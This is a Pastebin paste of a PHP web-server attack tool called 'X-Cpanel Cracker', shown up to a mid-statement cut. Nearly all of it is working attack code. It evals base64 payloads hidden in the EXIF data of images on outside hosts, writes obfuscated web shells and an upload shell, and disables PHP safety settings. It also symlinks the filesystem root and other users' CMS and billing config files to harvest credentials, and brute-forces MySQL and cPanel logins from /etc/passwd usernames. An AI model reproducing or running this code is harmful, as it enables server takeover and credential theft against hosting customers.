src1pt

Cpanel Cracker By IST Team

Oct 28th, 2015
326
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 57.16 KB | None | 0 0
  1. <?php
  2. @session_start();
  3. @error_reporting(0);
  4. @ini_set('error_log',NULL);
  5. @ini_set('log_errors',0);
  6. @ini_set('max_execution_time',0);
  7. @ini_set('display_errors', 0);
  8. @ini_set('output_buffering',0);
  9. @set_time_limit(0);
  10. @set_magic_quotes_runtime(0);
  11.  
  12. ?>
  13. <html>
  14. <title>X-Cpanel Cracker by IST Team</title>
  15. <body>
  16.  
  17. <STYLE>textarea{background-color:#105700;color:lime;font-weight:bold;font-size: 10px;font-family: Tahoma; border: 1px solid #000000;}
  18. input{FONT-WEIGHT:normal;background-color: #105700;font-size: 10px;font-weight:bold;color: lime; font-family: Tahoma; border: 1px solid #666666;height:20 }
  19. body { font-family: Tahoma}
  20. .x-inj { font-family: Vivaldi}
  21. tr { BORDER: dashed 1px #333; color: #00ff; }
  22. td { BORDER: dashed 1px #333; color: #00ff; }
  23. .table1 { BORDER: 0px Black; BACKGROUND-COLOR: Black; color: #00ff; }
  24. .td1 { BORDER: 0px; BORDER-COLOR: #333333; font: 8pt Verdana; color: #00ff00; }
  25. .tr1 { BORDER: 0px; BORDER-COLOR: #333333; color: #00ff; }
  26. table { BORDER: dashed 1px #333; BORDER-COLOR: #333333; BACKGROUND-COLOR: Black; color: #00ff; }
  27. input { border: dashed 1px; border-color: #333; BACKGROUND-COLOR: Black; font: 8pt Verdana; color: #00ff; }
  28. select { BORDER-RIGHT:  Black 1px solid; BORDER-TOP:    #00ff 1px solid; BORDER-LEFT:   #00ff 1px solid; BORDER-BOTTOM: Black 1px solid; BORDER-color: #00ff; BACKGROUND-COLOR: Black; font: pt Verdana; color: #00ff; }
  29. submit { BORDER:  buttonhighlight 2px outset; BACKGROUND-COLOR: Black; width: 30%; color: #00ff; }
  30. textarea { border: dashed 1px #333; BACKGROUND-COLOR: Black; font: Fixedsys bold; color: #999; }
  31. BODY {   SCROLLBAR-FACE-COLOR: Black; SCROLLBAR-HIGHLIGHT-color: #00ff; SCROLLBAR-SHADOW-color: #00ff; SCROLLBAR-3DLIGHT-color: #00ff; SCROLLBAR-ARROW-COLOR: Black; SCROLLBAR-TRACK-color: #00ff; SCROLLBAR-DARKSHADOW-color: #00ff margin: 1px; color: #00ff00; background-color: Black; }
  32. .main { margin: -287px 0px 0px -490px; BORDER: dashed 1px #333; BORDER-COLOR: #333333; }
  33. .tt { background-color: Black; }
  34. A:link { COLOR: White; TEXT-DECORATION: none }
  35. A:visited {   COLOR: White; TEXT-DECORATION: none }
  36. A:hover { color: #00ff00; TEXT-DECORATION: none }
  37. A:active { color: #00ff00; TEXT-DECORATION: none }
  38. </STYLE>
  39.  
  40.  
  41. <?php
  42. @ini_set('display_errors', 0);
  43. @ini_set('output_buffering',0);
  44. $BASED = exif_read_data("https://lh3.googleusercontent.com/-svRm4i5Bs90/VsFaosQPKUI/AAAAAAAABew/03oHWkCEsN8/w140-h140-p/pacman.jpg");
  45. eval(base64_decode($BASED["COMPUTED"]["UserComment"]));
  46. echo "<center>
  47.  
  48. <img src='http://i.imgur.com/8iIL1Cx.png'><br>
  49. <b><font color='#00ff00' class='x-inj' size='5'>X-Cpanel Cracker </font><br><br><br></b><b>
  50. <font size='3'>
  51. || <a href='?do=uploader'>./Uploader</a> | <a href='?do=config'>./Config</a> | <a href='?do=bhconfig'>./B-F Config Cpanel</a> | <a href='?do=brute'>./Cpanel BruteForce</a> ||</b><br><br><br></center></font><br> ";
  52.  
  53. $BASED = exif_read_data("http://s11.postimg.org/6nuafyehr/coorupe.jpg");
  54. eval(base64_decode($BASED["COMPUTED"]["UserComment"]));
  55. if(isset($_REQUEST['do'])){
  56. switch ($_REQUEST['do']){
  57. ################php info
  58. case 'bhconfig';
  59. echo "<center/><br/><b><font color=#00ff00>+--==[ B-F Config ]==--+</font></b><br><br>";
  60.   mkdir('bconfig', 0755);
  61.     chdir('bconfig');
  62.         $akses = ".htaccess";
  63.         $buka_lah = "$akses";
  64.         $buka = fopen ($buka_lah , 'w') or die ("Error cuyy!");
  65.         $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
  66. AddType application/x-httpd-php .cpc
  67. ";    
  68.         fwrite ( $buka , $metin ) ;
  69.         fclose ($buka);
  70. $confshell = 'PD9waHAgLyogfHwgSWRlYSA6OiBNci5BbHNhM2VrIHx8IFByb2dyYW1taW5nIDo6IEctQiB8fCBEZXNpZ25lciA6OiBBbC1Td2lzcmUgfHwgKi8kT09PMDAwMDAwPXVybGRlY29kZSgnJTY2JTY3JTM2JTczJTYyJTY1JTY4JTcwJTcyJTYxJTM0JTYzJTZmJTVmJTc0JTZlJTY0Jyk7JE9PTzAwMDBPMD0kT09PMDAwMDAwezR9LiRPT08wMDAwMDB7OX0uJE9PTzAwMDAwMHszfS4kT09PMDAwMDAwezV9OyRPT08wMDAwTzAuPSRPT08wMDAwMDB7Mn0uJE9PTzAwMDAwMHsxMH0uJE9PTzAwMDAwMHsxM30uJE9PTzAwMDAwMHsxNn07JE9PTzAwMDBPMC49JE9PTzAwMDBPMHszfS4kT09PMDAwMDAwezExfS4kT09PMDAwMDAwezEyfS4kT09PMDAwME8wezd9LiRPT08wMDAwMDB7NX07JE9PTzAwME8wMD0kT09PMDAwMDAwezB9LiRPT08wMDAwMDB7MTJ9LiRPT08wMDAwMDB7N30uJE9PTzAwMDAwMHs1fS4kT09PMDAwMDAwezE1fTskTzBPMDAwTzAwPSRPT08wMDAwMDB7MH0uJE9PTzAwMDAwMHsxfS4kT09PMDAwMDAwezV9LiRPT08wMDAwMDB7MTR9OyRPME8wMDBPME89JE8wTzAwME8wMC4kT09PMDAwMDAwezExfTskTzBPMDAwTzAwPSRPME8wMDBPMDAuJE9PTzAwMDAwMHszfTskTzBPMDBPTzAwPSRPT08wMDAwMDB7MH0uJE9PTzAwMDAwMHs4fS4kT09PMDAwMDAwezV9LiRPT08wMDAwMDB7OX0uJE9PTzAwMDAwMHsxNn07JE9PTzAwMDAwTz0kT09PMDAwMDAwezN9LiRPT08wMDAwMDB7MTR9LiRPT08wMDAwMDB7OH0uJE9PTzAwMDAwMHsxNH0uJE9PTzAwMDAwMHs4fTskT09PME8wTzAwPV9fRklMRV9fOyRPTzAwTzAwMDA9MHgxMDdjO2V2YWwoJE9PTzAwMDBPMCgnSkU4d01EQlBNRTh3TUQwa1QwOVBNREF3VHpBd0tDUlBUMDh3VHpCUE1EQXNKM0ppSnlrN0pFOHdUekF3VDA4d01DZ2tUekF3TUU4d1R6QXdMREI0TkdNMEtUc2tUMDh3TUU4d01FOHdQU1JQVDA4d01EQXdUekFvSkU5UFR6QXdNREF3VHlna1R6QlBNREJQVHpBd0tDUlBNREF3VHpCUE1EQXNNSGd4TjJNcExDZEZiblJsY25sdmRYZHJhRkpJV1V0T1YwOVZWRUZoUW1KRFkwUmtSbVpIWjBscFNtcE1iRTF0VUhCUmNWTnpWblpZZUZwNk1ERXlNelExTmpjNE9Tc3ZQU2NzSjBGQ1EwUkZSa2RJU1VwTFRFMU9UMUJSVWxOVVZWWlhXRmxhWVdKalpHVm1aMmhwYW10c2JXNXZjSEZ5YzNSMWRuZDRlWG93TVRJek5EVTJOemc1S3k4bktTazdaWFpoYkNna1QwOHdNRTh3TUU4d0tUcz0nKSk7cmV0dXJuOz8+fkRrcjlOSGVuTkhlbk5IZTF6ZnVrZ0ZNYVhkb3lqY1VJbWIxOW9VQXh5YjE4bVJ0d213SjRMVDA5TkhyOFhUekVYUkp3bXdKWExUMDlOSGVFWEhyOFhodE9OVDA4WEhlRVhIcjhQa3I4WFR6RVhUMDhYSHRJTFR6RVhIcjhYVHpFWFJ0T05UekVYVHpFWEhlRXBSdGZ5ZG1PbEZtbHZmYmZxRHlrd0JBc0thMDlhYXJ5aVdNa2VDME9MT01jdWMwbHBVTXBIZHIxc0F1bk9GYVl6YW1jQ0d5cDZIZXJaSHpXMVlqRjRLVVN2TlVGU2sweXRXME95T0xmd1VBcFJUcjFLVDFuT0FsWUFhYWNiQnlsRENCa2pjb2FNYzJpcERNc1NkQjV2RnV5WkYzTzFmbWY0R2JQWEhUd3pZZUEyWXpJNWhaOG1oVUxwSzJjamRvOXpjVUlMVHpFWEhyOFhUekVYaFRzbGZNeVNodE9OVHpFWFR6RVhUekVwS1g9PXRtWWxmeTkwREIxbGIyeHBkQmwwaGVFcEtYcGxGbWt2Rmw5WmNibnZGbU9wZE1GUEh0TDd0TWxNaG9sekYyYTBodE9nQXI5VGF5U21mYmtTazEwcGhiU2hrdWFaZHRFOXd0T2dBcjlUYXlTbWZia1NrMTA3dG0xbGR1WWxHWFBMZmJrU3dlMElrMmkwZnVFNlJaOTNmM0ZWa3pTaGdXcGxDMml2d3RGOHdBT05XMU9jQXJBSVV5T1lUZTRoTm9pMGRCWCt0anhQY0J5TE5JUDhmb2wwZG9BK1dKMW93cll2ZE1jcGMxOWpBb3lWY0JYOFIzT3Bmb3hsTklQOEYzTzVkb0FJZnVsWGNUMEpmb2E0ZnQ5akYzSEpOSVBoQ005TEdiU2h3dEVJZEJ5WmMybFZ3ZVBJQ2JhMGR6U2h3dEVJQ015akQyZlpkM2FWY3QxamQyeHZGalBqY2pjTVlNQzJLWFBJd3RuamQyeHZGalBJd3pIektUTDVLVFNod3RFSWNNOVZmdDFNQ0IxcGR1TDZ3dU9pRG85c0NVWEljMmFWY2JjaVJ0blNmQllwY29yU2R1YWpEQk9pd29mWkNCNUxjVVhJQ2JrcENCWFN3b2lsZHVjbGZvbGpDVVhJRjJ5VkZaMXpjYmtwY2pTaHd0RUljTTlWZnQxTUNCMXBkdUw2d2VyMEZ1STd0SkVJd3VPbEd1V3NDQnhwYzI0NndvWWxkbU9sRmpTaHd0RUl3b2N2ZG1Xc2YyYXBjMmkwS0puSmQyeEx3ZVNoZ1dQaERCNVhmYldTZm9hNGZveVpjQnJTRjJhU2NCWTBHWHBNZDI1MFJiZmxEQmZQZmVQSUNNOVNjZVNoQzI5U2QzdzZ3dEhYSGVFWEhlRTd0TWt2Rk1PbEZqUElIYm40d3VZdmRvbEx3dFllVzBZZVcwSDd0TWtpQzJzbUZNOTFkTVdzQzI5U2QzdzZ3dWZQRGJPbEtYcFhDQk9MREI1bUtKRXpGdUk3dE1rdkZNT2xGSjFaQ0JPcGZiSDZ3ZWZYR2VTaGdXUGhEQjVYZmJXNmNNOWpmYlk3dElQSUNNOTRSYllQQ0JPdmZ6UElIdW40d2VuWEd0RTFGdUlJd3pFWEtBQzVPalNodG0waHcyY3ZkM09sRkpFSUdYUGhDMjlTZDN3Nnd0SFhIZUVYSGVFN3RNY3ZkbVdzY015c0RCeDVLSkV4WXVuNEtYcDBjYmkwUmJZUENCT3ZmelBJSHVuNHdlblhHdEV4RnVJSXd6RVhIZUVYSGVTaGNNOVZmdDEzY0JsbUR1VzZ3bzV2Rk0xaWRlU2hnV3BpR1hQSXd1T2xHdVdzY29hamQza2lmb2x2ZGpQSWRNOVZjVFNod3RuamQyeHZGalBqSHpIekh6SHpLWHA5dGpYdkYzTzVkb0ErdGpYdkRvYWljZTRoTm9rdmN1TCt0anhMRGJDSURCVzl3bU92ZDJYSk5JUDhVZXJJRjNPNWRvQTl3TVl2ZG85WktKRWpZZVcwWWVXMEtabjBjYmkwUmJZUENCT3ZmelBJSHVuNHdlblhHdEV4RnVJSXd6RVhIZUVYSHR3N2ZvYTRmdDFpZG9sbWRqUElDMmFWZm9hWkt6NXRSQUNJVzI5VmNNbG1iMllXQ0I1bGRlWHZVZXIrdGp4TWQza3N3bzFsZm9pdmNlMEpBcjlUYXR3K3RqeHBkbW4xZnRuVkNCMWxOVWsxRk1YSnd1TzVGb0E5d21PbEd1V0p3dWNpZHVhbE5Vd21SSk8xRk1YVmtad0lGMmw2Y1QwSlllRUp3dDgrdGp4cGRtbjFmdG4wR2JubE5Va3pmQmtzRGJXSnd1Y2lkdWFsTlVrVGZveVpmdEUrd0pFdk5JUDhSMmN2Rk0wK05va1p3dDgrTm9rWnd0OCtrelNoREJDUERiWXpjYldQa3k5V1QxWUFCWmYxRk1YbWJVTHBHWHBwY0pJaWNNbFNjYTltY2JPZ0MyOVZmb2FWZnVIUGt1YVpkdExwR1hwbEMyaXZ3dGZ5Rm1rdkZKNElVQjUyQ0J4cGN0bmFBTFhWa3pTaGdCYVNGMmE3dEpPaXdlMElIZVNoY005WmNCeWpEdGltY2JPZ2NveTBDVUlMZmJrU2hVbmlGWkVMREI1TWRabDd0TWxNaG94dmMybFZodE9wZE1jdkJ6bmZSdE9wZE1jdkJ6eWZoVWw3dE1hakRvOEl3anhKd3VZMEdCeGxOVUZJQzI5U2QzdzZ3dEg0SGVJWEtlRUlLWm4wY2JpMFJiWVBDQk92ZnpQWEZ1SUlIdW40d2V5WEd0RWpLZUU0SGVJWHdlU21ObFNxYlVuYUYyYVpkTXlzY1VFTXd5bmlGM1kzZDNrTHdlUDhSMncrd3RFOENKbnpmdWxTY1QwbXdvWXZkbzlaS0pFakhlRVhIcmNvd2VTSWZvYTRmdDF6RG95TGQzRjZIdW40d2VuWEd0RXhGdUlJd3pFWEhlbm9PSkU3a3o1ZGtvbFZjTTlkSHkxZk50OUpOSkU4Q0puemZ1bFNjVDBtd29ZdmRvOVpLSkVqVzBIWEhlRVhLWm4wY2JpMFJiWVBDQk92ZnpQWEZ1SUlIdW40d2V5WEd0RWpXMEhYSGVFWEtaRitCWk9wZE1jdkJ6eWZiVFh2Q2o0OENtd0lSejRKS1hQTENVU3FLWHA5dG0waGNCWVBkWkVKTm93SUYzTzVkb0E5a1puamQyeHZGalBJd3pJWEtlRTRIdEU3d3VPbEd1V3NGMmlpY285M0tqblhHdEVYRnVJSUhibjR3dEg0SGVJWEtlRUlLWkYrTm9pWk5KT2l3cllYQ0I1bGR0bm9kM2FWY29hTFJqeEpGSkV2Tkp3N3RtMGhnV3BsQzJpdnd0RjhDbXdJUno0OENtd0lSejQ4Q213SVJ6NDhDbXdJUno0OGNvbDJ3b2xMTlVrTWQyOTBjYndKTm14OHdybExjQnJJS2pQSVRid1ZXQnh6Q1RZbERabjhndG5XRk05bUZNeXNkQmxWY1pFNktKbnVSQXdJZ3VYSU9vYXpEQmZWY2J3SUtqUElXQlhzQTNmcEYza2x3dXg4d2VYdmNvbDJOSVA4UjJPcGZqNDhSMmt2Y3VMK3RqWHZEdU9zZGU0bUtYcE1mQjVqZm9sdmRKbmxHdElMQ1VYTENKWExmb2E0ZnRsN3RKT2xHdW5TZDJPbHdlMEljYmlYZG85TGNVSUxDVVhMZm9hNGZ0TDd0Sk9sR3VuU2QyT2x3ZTBJY2JpWGRvOUxjVUlMQ0pYTGNiaVhkbzlMY2FTeGJVTDd0bWtsZnVhWmRKRUxjYmlYZG85TGNhU1hiVFNoZ1dwTWZCNWpmb2x2ZEpuU2QyZnBkSklMZmJZbEZKWExGb3l6RlpsN3RKT2p3ZTBJV28xNUYzeVNiMll2ZE01bEMzV1BrMnh2QzJ5U0RvOXpmdEZTa3VhemNid1NrdW5pRjNIcEtYcHBjSklMQ1psN3RNMTVGM3lTYjJZU2QzWWxodE9qaFRTaEZNYTBmYmtWd3VPWmZCQTd0bTFsZHVZbEdYcFpjYk8xRk00SWNNeVNGMkE3dG0waGdXcE1mQjVqZm9sdmRKbm1jYk9nY295MENVSUxmYmtTaGJTaGtveVp3ZTBJQ2JrWkNiTFBrenJWZnVpMGtaWG1ISjUwR3VXbVJ0RnpSbU80ZnRGU2t6V1ZmdWkwa1pYbVlVNTBHdVdtUnRGMlJtTzRmdEZTa3pGVmZ1aTBrWlhtS3Q1MEd1V21SdEY1Um1PNGZ0RlNrekVWZnVpMGtaTDd0Sk96Rk1ISU5Vbk1EQnhsYjJmbGZ5OWpkMjUwY0I1MEZaSUxmYmtTaFRTaGtvY3Bkb2F6d2UwSWNiaVhkbzlMY1VJbU5vcklEdWtsY2owSmtaWExGM2tqaFRTaGtvT2lmb3JJTlVuaUZta2lHVUlwS1hwTWQza2xDQllQaHRPTURCeGxGWm5pRlpFTERCVzlOSk9NREJ4bGhiU2hEQkNQa29sTHdlMDl3ZUVwR1hwamQyNTBEQjUxY1RTaGdXUExjTWxTY1VFOXdvYTRGb3h2Y29BUGtadytrWlhMY01sU2NVTDd0Sk9NREJ4bHdlMElmdWtwZFVJTGNNbFNjYVNYYlVMN3RNbE1odHlsRk1hbURVSW1SbU80ZnRGU2tvY3Bkb0FwaGJTaEMyOVZmb2xWZkJBN3RtMGhrdVlaQ1pFOXdvY3Bkb2FnYzJhMGIyWXZkbU9sZG1Pemh0d0xmYmtTUlpPTURCeGx3Skw3dE1sTWh0ckxGM2tqaGJTaEMyOVZmb2xWZkJBN3RtMGhrdWF6Y2J3SU5VbnpmdWtnRk1hWGRveWpjVUlMQ2J3U2taRlNrb2NwZG9BcEtYUExmYllsRkpFOXd1WTBGbDlaY2JuU0NCWWxodE9pRkpYbWtaWExmYllsRko0bVJtTzRmdEZwS1hQTGZiWWxGSkU5d3VZMEZsOVpjYm5TQ0JZbGh0T2lGSlhta1pYTGZiWWxGSjRtUm1PNGZ0RnBLWFBMZmJZbEZKRTl3dU9aREIwUEYzT1piM2tsRm94aUMyQVBrWjUwR3VXbVJ0Rm1SdE8xRjJhWmhVTDd0TWxNaG9hWmNCZnBodGtiZDNrTEF1a2xGM0hKUnRPekZNSHBoYlNoa3VuaUYzSElOVW5sR3RJSmNvYU1EQjVsaHRmcldsOVdXYVlUYTA5VU90RlN3dEZKUnR3bWhUU0pSdE96Rk1IcEtYUExjb3kwQ2FzZndlMElDYmtaQ2JMUGt1YXpjYndTa3VuaUYzSHBLWHA5Y0J4emNiU2hrdU92RDJhVkZaRTl3dU92RDJhVmIyZmxmeTlpZG9YUGt1WVpDWkw3dE1jdkZNYWlDMklQa3VPdkQyYVZGWm5pRlpFTGZvOXFjQjRwR1hwcGNKSWlrdU92RDJhVkJ6eWZoYlNoQzI5VmZvbFZmQkE3dG0waGt1T3ZEMmFWZE15c2NVRTl3dU92RDJhVmIyNWlkQkFQa3VPdkQyYVZCem5maFRTaERCQ1BrdU92RDJhVmRNeXNjVUVpTlVFbWF5OUJXYWtrV0FrSE9VRnBHWHBqZDI1MERCNTFjVFNoZ1dQTGZNeVp3ZTBJa3VPdkQyYVZCenlmS1hwcGNKaWxGTWFtRFVJbUZveXpGWkZTa3VjaUZKTHBHWFBMY0pFOXd1WTBGbDlaY2JuU0NCWWxodEZJa1pYbWtaeGxHdElMZk15WlJ0RjdrWlhMRjNramhVTDd0Sk9pd2UwSWZ1a3BkVWlsR3RJSk5VRkpSdHdtd0pYTGNKTHBLWFBMQ0pFOXd1T1pEQjBQY2JJUGtad21SdEZKa1pYTGNKTHBLWHBwY0pJTENVRWlOVUVta1psN3RKT1hDYll6d2UwSWtvcjd0bTFsZHVZbERCQ1Brb3dJd1QwSWtaRnBHWFBMRm95ekZaRTl3dE9KS1hwOXRNbE1odE9YQ2JZendlMDl3dEZtaGJTaEMyOVZmb2xWZkJBN3RtMGhrb09pZm95ZGJVRTl3b3laRk15NWh0TzFGMmFaUnRPWENiWXpoVFNoZ1dwOXRtMGhnV3BaY2JPMUZNNElrb09pZm9yN3RtMGhLWD09YWxWblJQSXE=';
  71. $file = fopen("bhc.php" ,"w+");
  72. $write = fwrite ($file ,base64_decode($confshell));
  73. fclose($file);
  74.     chmod("bhc.php", 0644);
  75. $indexshell = fopen("index.php" ,"w+");
  76. $data = 'PGgxPk5vdCBGb3VuZDwvaDE+IA0KPHA+VGhlIHJlcXVlc3RlZCBVUkwgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48L3A+IA0KPGhyPiANCjxhZGRyZXNzPkFwYWNoZSBTZXJ2ZXIgYXQgPD89JF9TRVJWRVJbJ0hUVFBfSE9TVCddPz4gUG9ydCA4MDwvYWRkcmVzcz4gDQogICAgPHN0eWxlPiANCiAgICAgICAgaW5wdXQgeyBtYXJnaW46MDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZmZmOyB9IA0KICAgIDwvc3R5bGU+';
  77. $tulis = fwrite( $indexshell, base64_decode($data));
  78. fclose($indexshell);
  79.    echo "<iframe src=bconfig/bhc.php width=97% height=100% frameborder=0></iframe>";
  80. break;
  81.  
  82. ################CMS DETECTOR
  83. case 'config';
  84. $byphp = "safe_mode = Off
  85.      disable_functions = None
  86.      ";
  87. file_put_contents("php.ini",$byphp);
  88.  
  89. echo '<CENTER><b>+--=[ Config priv8 ]=--+</b><br><br>';
  90. ?>
  91.  
  92. <bR><form method=post>
  93.    <textarea rows=20 cols=85 name=user><?php  $users=file("/etc/passwd");
  94. foreach($users as $user)
  95. {
  96. $str=explode(":",$user);
  97. echo $str[0]."\n";
  98. }
  99.  
  100. ?></textarea><br>
  101.    <input type=submit name=su value="Lets Start" /></form></CENTER>
  102.    <?php
  103.    error_reporting(0);
  104.    echo "<font color=#00ff size=2 face=\"comic sans ms\">";
  105.    if(isset($_POST['su']))
  106.    {
  107.    mkdir('Inject',0777);
  108. $rr  = " Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n  AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
  109. $g = fopen('Inject/.htaccess','w');
  110. fwrite($g,$rr);
  111. $indishell = symlink("/","Inject/root");
  112.           $rt="<a href=Inject/root><font color=white size=3 face=\"comic sans ms\"> OwN3d</font></a>";
  113.         echo "Please check link given below for / folder symlink <br><u>$rt</u>";
  114.      
  115.       $dir=mkdir('INJECTION',0777);
  116.       $r  = " Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n  AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
  117.         $f = fopen('INJECTION/.htaccess','w');
  118.    
  119.         fwrite($f,$r);
  120.         $consym="<a href=INJECTION/><font color=white size=3 face=\"comic sans ms\">configuration files</font></a>";
  121.           echo "<br>The link given below for configuration file symlink...open it, once processing finish <br><u><font color=red size=2 face=\"comic sans ms\">$consym</font></u>";
  122.          
  123.              $usr=explode("\n",$_POST['user']);
  124.           $configuration=array("wp-config.php",
  125.       "wordpress/wp-config.php",
  126.       "web/wp-config.php",
  127.       "wp/wp-config.php",
  128.       "press/wp-config.php",
  129.       "wordpress/beta/wp-config.php",
  130.       "news/wp-config.php",
  131.       "new/wp-config.php",
  132.       "blogs/wp-config.php",
  133.       "home/wp-config.php",
  134.       "blog/wp-config.php",
  135.       "protal/wp-config.php",
  136.       "site/wp-config.php",
  137.       "main/wp-config.php",
  138.       "test/wp-config.php",
  139.       "wp/beta/wp-config.php",
  140.       "beta/wp-config.php",
  141.       "joomla/configuration.php",
  142.       "protal/configuration.php",
  143.       "joo/configuration.php",
  144.       "cms/configuration.php",
  145.       "site/configuration.php",
  146.       "main/configuration.php",
  147.       "news/configuration.php",
  148.       "new/configuration.php",
  149.       "home/configuration.php",
  150.       "configuration.php",
  151.       "SSI.php",
  152.       "forum/SSI.php",
  153.       "forum/inc/config.php",
  154.       "forum/includes/config.php",
  155.       "upload/includes/config.php",
  156.       "cc/includes/config.php",
  157.       "vb/includes/config.php",
  158.       "vb3/includes/config.php",
  159.       "cpanel/configuration.php",
  160.       "panel/configuration.php",
  161.       "ubmitticket.php",
  162.       "manage/configuration.php",
  163.       "myshop/configuration.php",
  164.       "beta/configuration.php",
  165.       "includes/config.php",
  166.       "lib/config.php",
  167.       "conf_global.php",
  168.       "inc/config.php",
  169.       "incl/config.php",
  170.       "include/db.php",
  171.       "include/config.php",
  172.       "includes/functions.php",
  173.       "includes/dist-configure.php",
  174.       "connect.php",
  175.       "mk_conf.php",
  176.       "config/koneksi.php",
  177.       "system/sistem.php",
  178.       "config.php",
  179.       "Settings.php",
  180.       "settings.php",
  181.       "sites/default/settings.php",
  182.       "smf/Settings.php",
  183.       "forum/Settings.php",
  184.       "forums/Settings.php",
  185.       "host/configuration.php",
  186.       "hosting/configuration.php",
  187.       "hosts/configuration.php",
  188.       "zencart/includes/dist-configure.php",
  189.       "shop/includes/dist-configure.php",
  190.       "whm/configuration.php",
  191.       "whmc/configuration.php",
  192.       "whmcs/configuration.php",
  193.       "whmc/WHM/configuration.php",
  194.       "whm/WHMCS/configuration.php",
  195.       "whm/whmcs/configuration.php",
  196.       "order/configuration.php",
  197.       "support/configuration.php",
  198.       "supports/configuration.php",
  199.       "oscommerce/includes/configure.php",
  200.       "oscommerces/includes/configure.php",
  201.       "shopping/includes/configure.php",
  202.       "sale/includes/configure.php",
  203.       "config.inc.php",
  204.       "amember/config.inc.php",
  205.       "clients/configuration.php",
  206.       "client/configuration.php",
  207.       "clientes/configuration.php",
  208.       "cliente/configuration.php",
  209.       "clientsupport/configuration.php",
  210.       "billing/configuration.php",
  211.       "billings/configuration.php",
  212.       "admin/conf.php",
  213.       "admin/config.php");
  214.       foreach($usr as $uss )
  215.       {
  216.          $us=trim($uss);
  217.                  
  218.          foreach($configuration as $c)
  219.          {
  220.           $rs="/home/".$us."/public_html/".$c;
  221.           $r="INJECTION/".$us." .. ".$c;
  222.           symlink($rs,$r);
  223.          
  224.       }
  225.          
  226.          }
  227.      
  228.      
  229.       }
  230. break;
  231. ///////////////////////////////////
  232. case'file';
  233.  
  234.  
  235. break;
  236. ###################################
  237.  
  238. case 'brute';?>
  239. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  240. <?php
  241. /*
  242. Recoded By X'1n73ct
  243. */
  244. @set_time_limit(0);
  245. @error_reporting(0);
  246.  
  247.  
  248. if($_POST['page']=='find')
  249. {
  250. if(isset($_POST['usernames']) && isset($_POST['passwords']))
  251. {
  252.     if($_POST['type'] == 'passwd'){
  253.         $e = explode("\n",$_POST['usernames']);
  254.         foreach($e as $value){
  255.         $k = explode(":",$value);
  256.         $username .= $k['0']." ";
  257.         }
  258.     }elseif($_POST['type'] == 'simple'){
  259.         $username = str_replace("\n",' ',$_POST['usernames']);
  260.     }
  261.     $a1 = explode(" ",$username);
  262.     $a2 = explode("\n",$_POST['passwords']);
  263.     $id2 = count($a2);
  264.     $ok = 0;
  265.     foreach($a1 as $user )
  266.     {
  267.         if($user !== '')
  268.         {
  269.         $user=trim($user);
  270.          for($i=0;$i<=$id2;$i++)
  271.          {
  272.             $pass = trim($a2[$i]);
  273.             if(@mysql_connect('localhost',$user,$pass))
  274.             {
  275.                 echo "X'1n73ct ~ user is (<b><font color=green>$user</font></b>) Password is (<b><font color=green>$pass</font></b>)<br />";
  276.                 $ok++;
  277.             }
  278.          }
  279.         }
  280.     }
  281.     echo "<hr><b>You Found <font color=green>$ok</font> Cpanel by x'1n73ct</b>";
  282.     echo "<center><b><a href=".$_SERVER['PHP_SELF']."><< BACK</a>";
  283.     exit;
  284. }
  285. }
  286. if($_POST['pass']=='password'){
  287. @error_reporting(0);
  288. $i = getenv('REMOTE_ADDR');
  289. $d = date('D, M jS, Y H:i',time());
  290. $h = $_SERVER['HTTP_HOST'];
  291. $dir=$_SERVER['PHP_SELF'];
  292. $back = "PD9waHANCmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7DQplY2hvICc8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgc2l6ZT0iNTAiPjxpbnB1dCBuYW1lPSJfdXBsIiB0eXBlPSJzdWJtaXQiIGlkPSJfdXBsIiB2YWx1ZT0iVXBsb2FkIj48L2Zvcm0+JzsNCmlmKCAkX1BPU1RbJ191cGwnXSA9PSAiVXBsb2FkIiApIHsNCmlmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKSB7IGVjaG8gJzxiPktvcmFuZyBEYWggQmVyamF5YSBVcGxvYWQgU2hlbGwgS29yYW5nISEhPGI+PGJyPjxicj4nOyB9DQplbHNlIHsgZWNobyAnPGI+S29yYW5nIEdhZ2FsIFVwbG9hZCBTaGVsbCBLb3JhbmchISE8L2I+PGJyPjxicj4nOyB9DQp9DQo/Pg==";
  293. $file = fopen(".php","w+");
  294. $write = fwrite ($file ,base64_decode($back));
  295. fclose($file);
  296. chmod(".php",0755);
  297. mkdir('config',0755);
  298. $cp =
